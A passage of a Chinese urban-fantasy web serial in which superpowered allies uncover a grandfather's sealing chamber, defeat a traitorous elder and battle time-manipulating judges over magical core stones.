密室的光芒突然变暗,星图纹路里的金光像被什么东西掐断了。费勇的影子在地上剧烈扭动,他感知到石门另一侧的能量场正在变化——三长老似乎在启动什么装置,暗影能量与病毒气息交织在一起,形成股令人作呕的漩涡。
“别自欺欺人了!”三长老的声音带着恶意的回响,“你以为他为什么要研究影石阵?为了封印病毒?错!他是想找到完美的融合方式!你父母当年就是发现了这个秘密,才被他……”
“闭嘴!”苏清月的绿藤突然暴涨,狠狠抽在石门上,留下道深绿色的痕迹。她的治愈能量第一次带着攻击性,石壁上的荧光孢子被震得漫天飞舞,像破碎的星辰,“我爷爷不是那样的人!他临终前还在研究解药,这个琉璃瓶就是证明!”
她抓起桌上的琉璃瓶,里面的绿色液体在光线下泛着珍珠母般的光泽。瓶底贴着张极小的标签,用青禾堂特有的暗号写着“解共生毒·需影石阵核心”。费勇突然想起155章看到的三角阵插图,顶点处除了701研究所,还有个标注着“影界裂隙”的符号,旁边画着个和琉璃瓶一模一样的图案。
“他需要三块核心石才能激活解药。”费勇指着标签上的暗号,“你爷爷的意思是,影石阵不只是封印装置,还能转化病毒能量?”
苏清月的眼泪突然停了,她凑近琉璃瓶仔细看,突然发现液体里悬浮着无数细小的金色光点——和夏艳玲情绪能量化成的光粒一模一样。“是情绪核心……”她喃喃道,“爷爷早就知道,夏艳玲的能力是关键……”
“说得好!”石门突然传来剧烈的震动,三长老的拐杖似乎在外面撬动机关,“可惜他醒悟得太晚了!当年若不是他阻碍我用病毒统治世界,青禾堂怎么会落到今天这个地步?裁决会比他识货多了,他们知道异能者就该站在食物链顶端!”
夏艳玲突然捂住耳朵蹲下去,布娃娃掉在地上,发出“咔哒”一声轻响。她的情绪感知能力在这一刻爆发,无数混乱的画面涌入脑海:十年前的青禾堂,三长老举着拐杖刺向一个白胡子老人;实验室里,父母正将一块黑色石头嵌入机器;还有个模糊的影子,在影石阵中央对她伸出手,
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像在说“别怕”。
“是……是叔叔阿姨……”夏艳玲指着日记里的插画,小脸煞白,“他们在阻止爷爷……不,是在帮爷爷……”
费勇的影界领域突然捕捉到一股熟悉的能量波动,和150章全息影像里父母身上的气息一模一样。这股气息来自日记的最后几页,似乎是某种能量残留。他小心地翻开那些纸页,发现里面夹着半张残破的照片——年轻的苏爷爷正和费勇的父母站在影石阵前,三人手里各拿着一块黑色的石头,笑容在闪光灯下有些模糊。
“他们是合作关系。”费勇的声音突然变得很轻,“你爷爷当年确实想研究融合,但后来和我父母达成共识,决定先封印病毒。三长老说的都是挑拨离间的谎话。”
石门的震动越来越剧烈,缝隙里开始渗进黑色的雾气。三长老的笑声变得疯狂:“谎话?那你们听听这个!”他似乎按下了什么装置,一段嘶哑的录音突然从石门后传来,是苏爷爷的声音,带着痛苦的喘息:“……不能让病毒扩散……清月……原谅爷爷……”
录音戛然而止,接着是重物落地的闷响。苏清月的绿藤瞬间蔫了下去,她踉跄着后退,撞在石桌上,琉璃瓶掉在地上,却被费勇的影子及时接住。“爷爷他……”她的声音碎成了片,“他最后还是……”
“他在保护你。”费勇将琉璃瓶递给她,暗影能量在瓶身缠绕成保护罩,“这段录音是他故意留下的,你看标签背面。”
苏清月颤抖着翻转标签,背面用针刻着几个极小的字:“三长老勾结判官·小心影界裂隙”。
石门突然发出一声巨响,被撬开一道缝隙。三长老的脸出现在缝隙后,皱纹里挤满了疯狂的笑意:“发现了?可惜太晚了!裁决会的审判长已经带着核心石在路上了,你们谁也跑不掉!”
他的身后突然传来破空声,一道金色的光箭穿透雾气,擦着他的耳朵钉在石门上。林悦的声音像惊雷般炸响:“费勇,捏碎防护符!我来接你们了!”
费勇猛地想起149章出发前,林悦塞给他的那个雷电符号的符咒。他掏出符咒的瞬间,发现上面的纹路正和密室墙壁上的星图产生共鸣,发出刺眼的蓝光。
第157章:地下封印室
符咒捏碎的瞬间,蓝白色的雷电像活过来似的顺着石壁纹路蔓延,在石门上炸开个半人高的窟窿。林悦的雷矛还在外面噼啪作响,夹杂着三长老气急败坏的咒骂,费勇却被密室里突然亮起的绿光拽住了视线——星图纹路尽头,竟藏着道暗门,门楣上刻着青禾堂的药锄图腾,此刻正随着雷电的震动微微发烫。
“是爷爷的封印室。”苏清月的指尖刚碰到图腾,暗门就发出“咔哒”的轻响,像有双无形的手在里面旋开了锁。她的绿藤突然兴奋地扭动起来,尖端冒出的嫩芽朝着门内探去,带着种近乎雀跃的生命力,与之前蔫蔫的模样判若两物。
门后的空间比想象中宽敞,像个被掏空的山腹。头顶垂着无数半透明的气根,末端挂着拳头大的花苞,每片花瓣都泛着翡翠般的荧光,将整个密室照得如同幻境。更奇特的是那些植物——有的叶片像手术刀般锋利,边缘却凝结着晶莹的露珠;有的根茎盘成螺旋状,缝隙里渗出的金色汁液滴在地上,竟让石板长出细密的青苔。
“它们在吃病毒。”费勇的影界领域铺展开,清晰地“看”到这些植物的根系正扎进地下深处,贪婪地吸收着黑色的病毒能量,再通过叶片转化成柔和的绿光释放出来。他蹲下身触碰地面,暗影能量与病毒残留接触的瞬间,竟没产生丝毫排斥,反而有种……被净化的暖意。
夏艳玲的布娃娃突然从她怀里挣脱,飘到一株开着紫色小花的植物前。花瓣立刻像有感应似的合拢,将布娃娃裹成个花球,几秒钟后再展开时,布兜上沾着的黑色雾气已经消失无踪,纽扣眼睛亮得像两颗星星。“它在说谢谢。”夏艳玲仰起脸,小脸上第一次没了恐惧,“这些花很温柔。”
苏清月的目光却被密室中央的石台吸住了。她的脚步放得极轻,绿藤在她脚边织成软垫,生怕踩碎了地上的什么。石台上铺着块褪色的蓝布,上面放着块巴掌大的黑色石头,石纹里流淌的光芒与155章石门上的黑石如出一辙,只是能量波动要强烈百倍。而石头旁边,躺着个被藤蔓半包裹的人影。
“爷爷……”苏清月的声音刚出口就碎了。那人影穿着青禾堂的长老服,花白的胡子上还沾着药渣,胸口处有个狰狞的爪痕,边缘泛着与药人相同的青黑色。最让她心口发紧的是,老人枯瘦的手指紧紧攥着半张泛黄的纸,指骨因为用力而微微凸起,像是到死都没松开。
费勇的影子悄悄探过去,小心翼翼地绕开那些保护性的藤蔓。他能感觉到老人体内残留的生命能量——微弱,却带着股执拗的暖意,与这些荧光植物的气息完美融合。“他是在这里完成封印的。”费勇轻声说,指着石台下的凹槽,“这里原本应该嵌着另外两块核心石。”
苏清月颤抖着伸出手,绿藤先一步缠上老人的手腕。治愈能量注入的瞬间,那些包裹着尸体的藤蔓突然开出白色的小花,花瓣纷纷扬扬落在老人脸上,像场迟来的告别。她这才看清,老人攥着的纸上画着影石阵的结构图,其中一块核心石的位置标注着“701研究所B区”,旁边用红笔写着“费”字。
“是我父母。”费勇的心猛地一缩,图纸上的笔迹与150章全息影像里母亲的记录完全一致。他突然想起爷爷日记里的合照,原来三块核心石当年分别由苏爷爷和他父母保管,难怪三长老找不到完整的影石阵——他根本不知道还有两块在外面。
夏艳玲突然指着石台边缘的藤蔓,那些叶片上隐约映出模糊的光影:三长老举着拐杖刺向苏爷爷;老人跌跌撞撞地扑向石台,将核心石嵌进凹槽;最后他用尽全力催生藤蔓,将自己和半张图纸一起保护起来……这些都是植物记录下的最后画面,带着令人窒息的悲壮。
“他是被狂化者袭击的。”苏清月抚过老人胸口的爪痕,绿藤在那里凝结成层保护膜,“但这毒素……和三长老的药剂成分一致。是三长老先伤了他,再放出狂化者灭口。”她的声音突然冷了下来,眼底的温柔被彻骨的寒意取代,“他知道爷爷能克制病毒。”
费勇拿起那半张图纸,与日记里的三角阵插图一比对,正好能拼出完整的影石阵结构。除了701研究所和影界裂隙,第三块核心石的位置标注着个奇怪的符号——像只眼睛,瞳孔处画着道闪电。“这是……”费勇皱起眉,总觉得在哪见过类似的标记。
“是特调科的秘密仓库。”林悦的声音从暗门外传来,她手里还提着个昏迷的执法者,雷矛上的电光在荧光植物的映照下泛着冷光,“我在清理内鬼时找到的档案,里面提到过‘-eyedlightning’的代号,坐标就在城郊废弃电站。”她走进来的脚步突然顿住,看着那些荧光植物啧啧称奇,“这些玩意儿能当病毒检测器?”
话音刚落,离执法者最近的那株植物突然卷起叶片,尖端冒出细小的毒刺。费勇立刻明白过来:“它们能识别被病毒感染的人。”他看
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向林悦手里的执法者,那人脖颈处有个极淡的审判标记,“裁决会的人可能都被植入了病毒种子,三长老和判官是想通过这种方式控制他们。”
苏清月突然从老人的衣襟里摸出个小瓷瓶,里面装着些棕褐色的粉末。瓶底的标签写着“清毒散·需荧光草汁调和”,正是日记里提到的解药半成品。她将粉末倒进琉璃瓶,与里面的绿色液体混合,瞬间腾起金色的雾气,那些荧光植物闻到气息,纷纷朝着石台倾斜,像是在朝拜。
“还差最后一步。”苏清月的眼睛亮起来,指着核心石,“需要三块核心石同时激活,才能让解药扩散到整个终南山。”她突然看向费勇,绿藤在两人之间轻轻晃动,“701研究所,我们必须去。”
费勇的影子突然剧烈波动,影界领域感知到远处传来熟悉的能量场——和156章三长老提到的审判长气息一致,而且不止一个。“他们来了。”费勇将半张图纸折好塞进口袋,影子在石台上铺开,“清月,带爷爷的遗体和核心石从密道走,我刚才看到植物后面有出口。”
林悦的雷矛瞬间蓄能,电流在她指尖噼啪作响:“我掩护你们。”她突然想起什么,从口袋里掏出个U盘扔给费勇,“特调科的卧底名单,里面有个代号‘药师’的,和701研究所来往密切,可能是突破口。”
夏艳玲的布娃娃突然飞过来,落在苏清月手里。娃娃的肚子里藏着块小小的能量晶核,是之前药人自爆时留下的,此刻正散发着微弱的治愈光粒。“妹妹说,这个能保护爷爷。”小姑娘的眼睛亮晶晶的,刚才看到的悲伤似乎都化作了勇气。
苏清月最后看了眼爷爷的遗体,绿藤轻轻托起他和核心石,朝着植物深处的暗门飘去。那些荧光植物自动让开道路,花瓣上的露珠滴落在她手背上,带着种温暖的力量。“我们在701汇合。”她的声音带着前所未有的坚定,绿藤在身后织成道屏障,将荧光植物的能量凝聚成盾。
费勇看着她的身影消失在藤蔓深处,突然对林悦笑了笑:“还记得你说光明总会驱散黑暗吗?”他的影子开始沸腾,与林悦的雷电能量产生奇妙的共鸣,“这次换我们当回光明。”
林悦挑眉,雷矛直指暗门口:“少废话,先把这些裁决会的杂碎电成焦炭再说。”
密室的荧光突然暗了下去,外面传来沉重的脚步声,以及审判长特有的、毫无感情的宣告:“裁决开始。”
第158章:三长老的异能
审判长的“裁决开始”还在密室里回荡,三长老的拐杖就突然从暗门窟窿里戳了进来,杖头的绿宝石迸射出刺目的红光。那些原本温顺的荧光植物瞬间像被点燃的**,叶片纷纷卷曲成锯齿状,根茎里渗出的不再是金色汁液,而是冒着泡泡的墨绿色黏液,滴在地上的石板上,立刻蚀出密密麻麻的小孔。
“清月侄女,别躲了。”三长老佝偻的身影挤进门缝,黑袍下摆沾着的草屑还在往下掉,显然是被林悦的雷电追得狼狈不堪。但他脸上却挂着胜券在握的笑,枯瘦的手指在拐杖上轻轻摩挲,“你爷爷培育的这些宝贝,终究还是听我的。”
话音刚落,地下突然钻出数条水桶粗的藤蔓,表皮布满紫色的毒瘤,尖端**成八爪鱼似的触须,带着腥甜的气味朝夏艳玲卷去。费勇的影刃瞬间出鞘,劈在藤蔓上却只留下道浅浅的白痕——这些变异植物的硬度,竟比钢铁还强。
“我的异能‘药剂重组’,可是专门为它们量身定做的。”三长老得意地扬了扬拐杖,绿宝石里流淌的能量顺着藤蔓蔓延,让那些毒瘤膨胀得像要炸开,“你爷爷总说‘药毒本同源’,却偏偏放着进化的捷径不走,非要守着那些迂腐的规矩。”
夏艳玲被费勇护在身后,小脸吓得发白,却死死攥着布娃娃不肯松手。布娃娃的纽扣眼睛突然射出两道白光,打在最前面的藤蔓上,竟让那些毒瘤瞬间冻结成冰。“妹妹说……它们很疼。”小姑娘的声音带着哭腔,却透着股倔强,恐惧凝结的冰碴顺着她的指尖往下掉,在地上拼出朵小小的雪花。
“情绪核心果然厉害。”三长老的眼睛亮得吓人,拐杖猛地顿在地上,那些藤蔓突然改变方向,像毒蛇般缠上夏艳玲的脚踝。毒瘤破裂的瞬间,黑色的雾气腾起,夏艳玲立刻打了个寒颤,布娃娃上的纽扣眼睛瞬间黯淡下去。
“放开她!”苏清月的声音从密道出口传来,绿藤像箭似的射了回来,尖端顶着颗晶莹的露珠,正是荧光植物分泌的净化汁液。她原本已经带着核心石和爷爷的遗体离开,此刻却去而复返,绿藤上还沾着泥土,显然是一路强行破开植物屏障冲回来的。
更让人惊讶的是,那些原本被三长老操控的荧光植物,此刻竟像有了自主意识。开着紫色小花的植株突然炸开花瓣,金色的粉末弥漫在空中,与苏清月的绿藤接触后,瞬间凝聚成把闪着光的植物长剑。“你以为只有你能操控它们?”苏清月的眼神冷得像冰,“爷爷培育它们时,就用我的血做了精神链接,这些植物认主不认贼!”
植物长剑劈在毒藤上的瞬间,发出滋啦的声响。那些墨绿色的黏液遇到金色粉末,立刻像冰雪般消融,露出藤蔓原本翠绿的内里。三长老的脸色第一次变了,他疯狂地转动拐杖上的宝石,却发现那些藤蔓的动作越来越迟缓,有的甚至开始反向生长,朝着他自己缠来。
“不可能!”三长老后退两步,黑袍下露出藏着的个小陶罐,里面装着泛着泡沫的紫色药剂,“我明明用病毒强化过它们的攻击性,怎么会……”
“因为它们吃的是病毒,不是被病毒控制。”费勇突然抓住机会,影界领域猛地收缩,将所有暗影能量凝聚成条锁链,缠住三长老的手腕。他能清晰地感觉到,三长老体内的能量场极其混乱,一半是青禾堂的药草气息,一半却带着和判官相似的黑暗波动,像个被强行拼凑起来的怪物。
就在这时,苏清月的绿藤突然卷着颗荧光花苞飞过来,花苞在夏艳玲面前炸开,金色的光粒落在她身上,那些黑色雾气立刻像遇到阳光的冰雪般消散。夏艳玲立刻精神起来,布娃娃重新焕发光彩,情绪能量化作的金色光丝缠上费勇的影锁,让暗影能量染上了层温暖的光泽。
“融合?!”三长老的表情像是见了鬼,拼命挣扎着想甩开影锁,“没有核心石引导,你们怎么可能……”
他的话没说完,苏清月已经操控着植物长剑刺向他手中的陶罐。紫色药剂泼洒在地上的瞬间,三长老突然发出声惨叫,黑袍的袖口处冒出黑烟——原来他为了强行提升异能,竟将自己的手臂改造成了半植物形态,此刻正被净化汁液腐蚀着。
“爷爷早就料到你会走火入魔。”苏清月的绿藤缠住三长老的肩膀,将他按在石壁上,“他在日记里写过,‘药剂重组’的副作用会让使用者逐渐植物化,你现在的身体,恐怕已经和这些毒藤没什么区别了吧?”
三长老的脸扭曲得像个鬼,他突然张开嘴,喷出股黑色的毒雾。费勇下意识地用影子护住苏清月和夏艳玲,毒雾接触到暗影能量的瞬间,竟像强酸般腐蚀出滋滋的声响——他的影子上,第一次出现了肉眼可见的破洞。
“蚀影散加强版,滋味不错吧?”三长老趁着费勇分神的瞬间,挣脱束缚冲向石台,一把抓起那块影石阵核心石,“这东西才是我
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的目标,你们都给我**!”
他的身体突然开始膨胀,黑袍被撑破,露出底下缠绕的藤蔓,整个人变成了个半人半植物的怪物。那些毒藤从他的伤口里钻出,带着核心石就往暗门外冲,速度快得像道黑影。
“想跑?”费勇忍着影子被腐蚀的剧痛,暗影能量再次爆发,化作张巨大的网罩向三长老。他能感觉到核心石在三长老手中剧烈挣扎,石纹里的光芒与他体内的暗影本源产生强烈的共鸣,像在呼唤着什么。
苏清月的绿藤和夏艳玲的情绪光丝同时加入,与费勇的影子交织成张三色大网。当三长老撞上来的瞬间,核心石突然爆发出刺眼的光芒,将他整个**飞出去,重重地撞在石壁上。
“为什么……”三长老的身体在光芒中迅速枯萎,藤蔓化作飞灰,只留下只还在蠕动的手臂,“我明明才是对的……”
核心石在空中转了个圈,缓缓飞向费勇,自动嵌入他手背上的影子里。融入的瞬间,费勇脑海中突然多出段信息——影石阵的核心石共有五块,除了已经找到的这块,另外两块分别在701研究所和影界裂隙。
而更让他心惊的是,核心石传递来的画面里,三长老的影子深处,缠着条细细的黑色丝线,源头直指裁决会的方向,与判官的能量气息一模一样。
“他只是个棋子。”苏清月走到费勇身边,绿藤轻轻抚过他影子上的破洞,金色的汁液滴在上面,让那些破洞缓慢地愈合,“爷爷的日记里提到过,判官一直在寻找能完美操控病毒的人,三长老只是被他选中的试验品。”
夏艳玲捡起地上的布娃娃,发现上面沾着片干枯的叶子,正是三长老身上掉下来的。叶子接触到布娃娃的瞬间,突然化作灰烬,只留下个小小的审判标记。“他身上……有判官的味道。”小姑娘皱着眉头,把布娃娃抱得更紧了。
暗门外传来林悦的声音,带着明显的松了口气:“搞定了,外面的执法者全解决了。不过审判长好像跑了,追吗?”
费勇看了眼手背上融入影子的核心石,那里正散发着温暖的光芒,治愈着暗影能量的损伤。他摇了摇头,影界领域再次铺开,这次清晰地“看”到终南山深处,有股强大的能量场正在快速靠近,带着时间停滞般的压迫感。
“不追了。”费勇握紧拳头,影子里的核心石轻轻震动,像是在回应他的决心,“我们该去701研究所了。”
第159章:影石阵的共鸣
三长老像只被打慌的野兽,抱着核心石往青禾堂的主殿窜。黑袍被门框勾住撕开道大口子,露出里面缠满绷带的胳膊,绷带下隐约能看到青黑色的血管在蠕动,像有活物在皮肤下游走。费勇的影刃擦着他的脚踝劈过去,在石板上留下道火星,激起的碎石子溅在三长老腿上,竟烫出几个冒烟的小洞。
“跑这么快,是怕我看清你这身缝合怪吗?”费勇的声音带着冰碴,影界领域在身后铺开,所有物体的影子都成了他的眼线。他看到三长老怀里的核心石正在发烫,黑色石面上渗出细密的汗珠似的光点,像要挣脱束缚。更诡异的是,那些光点飘到空中,竟自动组成了半道箭头,直指费勇的方向。
夏艳玲被林悦护着跟在后面,布娃娃突然从她怀里跳出来,追着那些光点飞。娃娃的裙摆扫过地上的药渣,竟让那些枯黑的粉末重新长出嫩芽。“它在说,石头很着急。”夏艳玲踮着脚往前够,小皮鞋踩在青石板上发出哒哒的响,刚才的恐惧全被好奇取代,“好像在找哥哥。”
苏清月的绿藤在两侧的廊柱间穿梭,织成道绿色的网,防止三长老故技重施召唤毒藤。她的指尖还沾着荧光植物的汁液,每当核心石的光点飘过,那些汁液就会泛起涟漪,像水滴融入湖面。“核心石在呼应你的暗影本源。”她边跑边喊,绿藤突然加速伸长,缠住三长老的腰,“爷爷的日记里写过,影石阵的核心需要‘光与影的钥匙’才能驱动!”
三长老被拽得一个趔趄,核心石脱手飞出,在半空中划出道黑色的弧线。就在这时,费勇口袋里那块影石阵碎片突然发烫,冲破衣料飞到空中,与核心石撞在一起。没有想象中的碰撞声,两块石头像水滴汇入大海般融合,黑色石面上浮现出金色的纹路,正好与费勇手背上的暗影印记完全吻合。
“不可能……”三长老瘫坐在地,看着核心石自动飞向费勇,眼睛瞪得像要裂开,“影石阵的钥匙明明是……”他的话突然卡在喉咙里,像是想起了什么不能说的秘密,脸色瞬间变得惨白。
费勇伸手接住核心石的瞬间,影子突然暴涨,将整个青禾堂的主殿都笼罩在内。影界领域从未如此清晰,他能“看”到每一寸地板下的根系,每一片瓦当后的灰尘,甚至能看到三长老影子深处,缠着条极细的黑色丝线——那丝线的另一端,通向终南山外的某个方向,带着和判官一模一样的“绝对裁决”能量波动。
“你只是个提线木偶。”费勇的声音在影界里回荡,带着不容置疑的力量。他操控影子轻轻一扯,三长老影子里的黑线突然绷直,老人像被无形的鞭子抽中,发出凄厉的惨叫,“判官给了你什么好处?让你心甘情愿当他的病毒容器?”
三长老的身体开始不自然地扭曲,黑袍下伸出数条藤蔓,疯狂地抽打地面。他的脸在痛苦中扭曲变形,一半是人的狰狞,一半是植物的青绿:“他说……只要帮他集齐核心石,就能让我成为新的病毒主宰……”话音未落,那些藤蔓突然开始枯萎,黑色的能量从他七窍中溢出,“不……他在收回力量……”
苏清月的绿藤立刻缠上去,想注入治愈能量,却被那些黑色能量弹开。她看着三长老的身体迅速化作飞灰,只剩下那根缠着绿宝石的拐杖,突然明白了什么:“他的异能根本不是自己觉醒的,是判官用病毒强行赋予的,就像那些药人一样。”
核心石在费勇手中轻轻震动,一段信息流涌入他的脑海:影石阵并非三块核心石,而是五块。除了青禾堂这块,还有两块在701研究所的东西两区,一块藏在影界裂隙的最深处,最后一块……信息到这里突然中断,只剩下个模糊的符号,像只睁着的眼睛。
“影界裂隙。”费勇握紧核心石,影界领域缓缓收缩,“155章的三角阵图里标注过,那里连接着另一个空间。”他看向夏艳玲,小姑娘正抱着布娃娃,试图用情绪能量安抚那些因三长老死亡而躁动的植物,“你的布娃娃,是不是对影界有感应?”
夏艳玲的布娃娃突然指向主殿后的假山,娃娃的胳膊转了个诡异的角度,指向假山石缝里的一抹绿
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光。“妹妹说,那里有‘门’。”她仰起脸,小脸上满是认真,“但门后面很冷,有很多哭唧唧的影子。”
林悦突然踹了脚旁边的柱子,震下几片瓦片:“先别管什么门了,刚才的能量波动肯定惊动了裁决会,再不撤,等审判长来了谁都走不了。”她的雷电异能在指尖滋滋作响,电场感知里已经出现十几个快速靠近的能量点,“至少有三个审判长级别的家伙,还有大批执法者。”
费勇将核心石融入影子,那股温暖的能量立刻流遍全身,刚才被毒雾腐蚀的破洞彻底愈合。他看向三长老消失的地方,那里只剩下一摊黑色的污迹,被荧光植物的根系慢慢吸收。“701研究所。”他突然说,暗影能量在脚下凝聚成个传送阵的雏形,“我们得先去那里,找到另外两块核心石。”
苏清月的绿藤已经探入假山石缝,带出块刻着影石阵纹路的石板:“爷爷的日记里夹着张701的通行证,上面的暗号和这块石板吻合。”她将石板递给费勇,“看来他早就预料到我们会去那里。”
夏艳玲的布娃娃突然发出“咔哒”一声,背后的布兜打开,掉出半张被金色光粒包裹的图纸,正好能和苏爷爷手里的那半张拼合。完整的图纸上,影石阵的中心位置画着个小小的花苞,旁边写着“情绪核心催化”。
“原来如此。”费勇看着图纸,突然明白了爷爷的计划,“影石阵不只是封印或融合病毒,而是要用夏艳玲的情绪能量,把病毒彻底转化成无害的生命能量。”他收起图纸,暗影传送阵已经成型,“走吧,让判官看看,谁才是影石阵真正的主人。”
林悦最后看了眼青禾堂的牌匾,突然抬手射出道雷矛,将牌匾劈成两半:“旧的恩怨了结,该算新账了。”她率先踏入传送阵,雷电能量与暗影能量接触,激起片蓝黑色的火花。
就在传送阵光芒亮起的瞬间,费勇的影界领域捕捉到终南山入口处的异动——一个穿着黑色风衣的身影站在那里,手里把玩着块黑色的石头碎片,脸上挂着若有若无的笑。
第160章:裁决会的围堵
暗影传送阵的光芒还没完全散去,刺耳的警报声就像针一样扎进耳朵。费勇下意识地将夏艳玲护在身后,影界领域瞬间铺开,却发现周围的光线变得异常粘稠——飘落的树叶悬在半空,林悦指尖的雷电凝固成蓝色的晶体,连苏清月绿藤上滚动的露珠都停在了原地。
“时间停滞。”一个毫无感情的声音从青禾堂大门方向传来,带着金属摩擦般的质感。费勇循声望去,只见三个穿着黑色风衣的身影站在台阶上,为首那人的风衣下摆绣着银色的沙漏图案,手里把玩着块黑色石头,石面的纹路与他影子里的核心石隐隐呼应。
夏艳玲的布娃娃突然剧烈挣扎,从她怀里跳出来,直冲向那人手中的石头。娃娃刚飞出去半米,就像撞在无形的墙上,瞬间被定在半空,纽扣眼睛里的光芒一点点变暗。“妹妹说……石头在哭。”夏艳玲急得直跺脚,小拳头攥得发白,恐惧凝结的冰粒在她脚边堆成小小的雪山。
“判官说了,青禾堂的账该清算了。”时间停滞审判长缓缓抬起手,他的动作明明很慢,却带着让人窒息的压迫感。费勇突然发现不对劲——自己的影子还在正常流动,甚至能顺着地面的缝隙自由游走,像条不受束缚的鱼。
“核心石的缘故。”苏清月的声音带着延迟,每个字都像隔着水传来。她的绿藤虽然被定在半空,叶片却还在微微颤动,将荧光植物的汁液悄悄抹在费勇手背上,“爷爷的日记里画过这种能量场,影石阵的核心能免疫时间操控。”
林悦突然爆发出一声怒喝,浑身的雷电猛地炸开,震碎了周围的时间禁锢。她的头发根根竖起,像炸毛的猫,雷矛在手中嗡嗡作响:“裁决会的杂碎,以为学了点花里胡哨的本事就能嚣张?”她的电场感知疯狂预警,身后的密林中传来密集的脚步声,至少有上百名执法者正在合围。
时间停滞审判长似乎没把林悦放在眼里,他的目光始终锁定在费勇身上,嘴角勾起抹冰冷的弧度:“把核心石交出来,我可以让你们死得痛快点。”他手中的石头突然飞向费勇,在半空中**成无数碎片,每片碎片都带着停滞的能量,像撒向天空的黑色雪花。
费勇的影子突然暴涨,化作巨大的黑洞,将所有碎片一口吞下。那些停滞能量进入影界的瞬间,就像滚油遇到冷水,爆发出剧烈的轰鸣。他能“看”到影子里的核心石正在发烫,将那些时间能量一点点转化成金色的纹路,融入自己的暗影本源。
“有意思。”审判长挑了挑眉,另外两名审判长突然动了。绣着齿轮图案的那人抬手一挥,周围的空间开始扭曲,青石板上的裂缝里渗出黑色的碎片,像碎掉的镜子;绣着眼睛图案的则轻轻拍手,费勇突然感到一阵眩晕,脑海里涌入无数嘈杂的声音,像有上百个人在同时尖叫。
苏清月的绿藤突然疯长,将众人缠成绿色的茧。藤蔓上的荧光汁液遇到空间碎片,立刻绽放出金色的光花,那些碎片碰到光花就像冰雪消融。“空间碎片和精神控制。”她的额头渗出细密的汗珠,治愈能量正飞速消耗,“是另外两个审判长,他们的能力互补!”
夏艳玲的布娃娃不知何时挣脱了时间禁锢,正趴在时间停滞审判长的影子上,用针线疯狂地缝补着什么。每当娃娃的针线穿过影子,审判长的动作就会出现瞬间的卡顿,像是老式录像带卡带般抽搐。“妹妹说……他的影子破了个洞。”夏艳玲咬着嘴唇,小脸上满是倔强,情绪能量化作的光丝顺着娃娃的针线,源源不断地注入那道影子裂缝。
费勇抓住这个机会,影刃顺着地面的影子滑出,直劈时间停滞审判长的脚踝。刃身刚接触到对方的影子,就感到股强大的阻力——那影子的密度堪比钢铁,却在布娃娃缝补的位置出现了丝松动。
“找死。”审判长的眼神瞬间变得凌厉,时间停滞的范围突然收缩,只针对费勇一人。费勇感到全身的血液都快凝固了,却在这时想起苏清月的话,猛地将暗影能量注入核心石。
嗡——
影子里的核心石爆发出刺眼的光芒,时间停滞的能量像潮水般退去。费勇趁机发动影遁,出现在审判长身后,影绳缠上他的手腕。就在这时,他看到对方
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风衣的内衬上绣着个熟悉的符号——与701研究所B区的标识一模一样。
“你们去过701。”费勇的声音带着寒意,影绳突然收紧。时间停滞审判长吃痛,手中的核心石脱手飞出,在空中划过道黑色的弧线。
就在这千钧一发之际,夏艳玲的布娃娃突然从审判长的影子里钻出来,张开双臂抱住那块石头。娃娃的身体瞬间膨胀成气球,表面浮现出影石阵的纹路,将核心石牢牢包裹。“抓到啦!”夏艳玲拍手欢呼,刚才的恐惧全被兴奋取代,小脸上绽开灿烂的笑容。
时间停滞审判长的脸色第一次出现裂痕,他猛地转身,风衣下摆扫过地面,带起道银色的时间刃。费勇推着夏艳玲躲开,刃风却擦过苏清月的手臂,在她袖子上留下道透明的切口——那里的时间被永久停滞了,连血液都不再流动。
“清月!”费勇目眦欲裂,暗影能量疯狂涌动,影界领域强行扩张,将三名审判长罩在其中。他操控影子化作无数尖刺,专门攻击他们的影子,每次刺中,审判长的动作就会出现瞬间的迟滞。
林悦抓住机会,雷网瞬间铺开,将涌进来的执法者电成焦炭。她的雷电顺着地面的影子游走,与费勇的暗影能量形成奇妙的共鸣,在地上织成蓝黑色的电网,阻止更多执法者靠近。
苏清月咬着牙,用绿藤缠住受伤的手臂,荧光植物的汁液正在缓慢修复那片停滞的区域。她看着时间停滞审判长胸前的徽章,突然想起爷爷日记里的插画:“你是十年前701研究所的研究员!”她的绿藤突然转向,直刺对方的徽章,“那不是你的异能,是用影石阵碎片改造的装置!”
时间停滞审判长的表情终于出现了慌乱,他下意识地护住胸前的徽章。就在这时,夏艳玲的布娃娃突然炸开,将那块核心石弹向费勇。费勇伸手去接,却感到股强大的能量锁定了自己——来自天空的方向。
众人抬头,只见一架黑色直升机悬在青禾堂上空,机舱门敞开着,判官正透过窗户看着他们,手里把玩着块核心石碎片,脸上挂着若有若无的笑。
第161章:时间停滞的破绽
判官的直升机在云层里投下巨大的阴影,像只盘旋的秃鹫。费勇的指尖刚触到那块核心石,时间停滞审判长突然冷笑一声,竖起的食指在空气中划出道银色弧线。
周围的世界瞬间被按下慢放键。林悦射出的雷矛在半空中拖出长长的蓝白色光轨,苏清月绿藤上的露珠坠落时拉出晶莹的丝线,连夏艳玲欢呼的表情都僵在脸上,像幅被冻住的油画。唯有费勇的影子仍在自由伸缩,甚至能看清审判长脚下那团黑影里,正有细密的纹路在快速闪烁,像老旧钟表的齿轮在卡壳前的挣扎。
“原来如此。”费勇的嘴角勾起抹冷峭的弧度。影界领域放大了他对影子的感知,他清晰地捕捉到——每当审判长发动能力,其脚下的影子就会出现0.5秒的扭曲,仿佛水流遇到突然变窄的河道,能量在那一瞬间会出现短暂的拥堵。
时间停滞审判长显然没察觉自己的破绽,他正缓步走向悬浮的核心石,每一步都踩在时间的节点上,鞋底碾过的碎石子要过很久才会弹开。“你们的挣扎就像慢镜头,真是无趣。”他的声音被拉得很长,带着种令人牙酸的回响。
费勇的影子突然化作条黑色的蛇,顺着青石板的纹路滑向审判长的脚踝。他故意放慢动作,让对方以为自己也被时间禁锢,直到影刃的尖端触到那团扭曲的影子时,才猛地注入暗影能量。
“清月,瞄准他的影子!”费勇的吼声在慢放的世界里显得格外突兀。
苏清月几乎是凭着本能反应行动。被时间拖慢的绿藤突然爆发出惊人的速度,叶片边缘泛着荧光汁液的光泽,像条衔枚疾走的绿色小蛇,顺着影刃开辟的路径攀附而上。她的额头青筋暴起,治愈能量与植物催生能力在体内激烈碰撞,竟在手臂的停滞伤口处炸开朵金色的光花——那片凝固的皮肤,竟有了丝微弱的颤动。
